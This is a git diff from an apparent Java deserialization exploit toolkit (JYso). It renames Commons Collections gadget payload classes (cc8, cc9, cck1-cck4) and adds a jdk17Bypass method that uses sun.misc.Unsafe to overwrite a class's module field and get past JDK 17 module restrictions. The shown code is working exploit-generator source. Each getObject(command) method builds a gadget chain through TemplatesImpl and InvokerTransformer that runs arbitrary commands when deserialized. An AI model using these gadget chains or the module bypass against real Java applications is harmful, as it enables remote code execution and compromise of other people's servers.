b/src/main/java/com/qi4l/JYso/gadgets/cc8.java @@ -1,24 +1,31 @@ package com.qi4l.JYso.gadgets; +import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.jdk17Bypass; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; +import javax.swing.event.EventListenerList; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; import java.util.Comparator; @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"navalorenzo"}) -public class CommonsCollections8 implements ObjectPayload { +public class cc8 implements ObjectPayload { public TreeBag getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); TransformingComparator comp = new TransformingComparator((Transformer) transformer); TreeBag tree = new TreeBag((Comparator) comp); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java b/src/main/java/com/qi4l/JYso/gadgets/cc9.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java rename to src/main/java/com/qi4l/JYso/gadgets/cc9.java index 995ec2c..c4e3519 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections9.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc9.java @@ -17,7 +17,7 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({"梅子酒"}) -public class CommonsCollections9 implements ObjectPayload { +public class cc9 implements ObjectPayload { public BadAttributeValueExpException getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java b/src/main/java/com/qi4l/JYso/gadgets/cck1.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java rename to src/main/java/com/qi4l/JYso/gadgets/cck1.java index 9d686af..682ed3d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck1.java @@ -22,7 +22,7 @@ import java.util.Map; */ @Dependencies({"commons-collections:commons-collections:3.1"}) -public class CommonsCollectionsK1 implements ObjectPayload { +public class cck1 implements ObjectPayload { public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java b/src/main/java/com/qi4l/JYso/gadgets/cck2.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java rename to src/main/java/com/qi4l/JYso/gadgets/cck2.java index 28489d6..dd529d7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck2.java @@ -11,7 +11,7 @@ import java.util.HashMap; import java.util.Map; @Dependencies({"commons-collections:commons-collections:4.0"}) -public class CommonsCollectionsK2 implements ReleaseableObjectPayload { +public class cck2 implements ReleaseableObjectPayload { public Object getObject(String command) throws Exception { final Object templates; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java b/src/main/java/com/qi4l/JYso/gadgets/cck3.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java rename to src/main/java/com/qi4l/JYso/gadgets/cck3.java index ce1b87e..89cef75 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck3.java @@ -15,7 +15,7 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.MATTHIASKAISER}) -public class CommonsCollectionsK3 implements ObjectPayload { +public class cck3 implements ObjectPayload { public Object getObject(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java b/src/main/java/com/qi4l/JYso/gadgets/cck4.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java rename to src/main/java/com/qi4l/JYso/gadgets/cck4.java index ef5a3f3..f0a0cf0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck4.java @@ -15,7 +15,7 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:4.0"}) @Authors({Authors.MATTHIASKAISER}) -public class CommonsCollectionsK4 implements ObjectPayload { +public class cck4 implements ObjectPayload { public Object getObject(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index c67abef..d7682d5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.gadgets.utils; -import com.qi4l.JYso.gadgets.CommonsCollectionsK2; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index f971f8e..d108aa4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -50,4 +50,18 @@ public class jdk17Bypass { e.printStackTrace(); } } + + public static void patchModule(Class clazz, Class goalclass){ + try { + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe)unsafeField.get(null); + Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); + Class currentClass = clazz; + long addr =unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + unsafe.getAndSetObject(currentClass,addr,ObjectModule); + } catch (Exception e) { + } + } }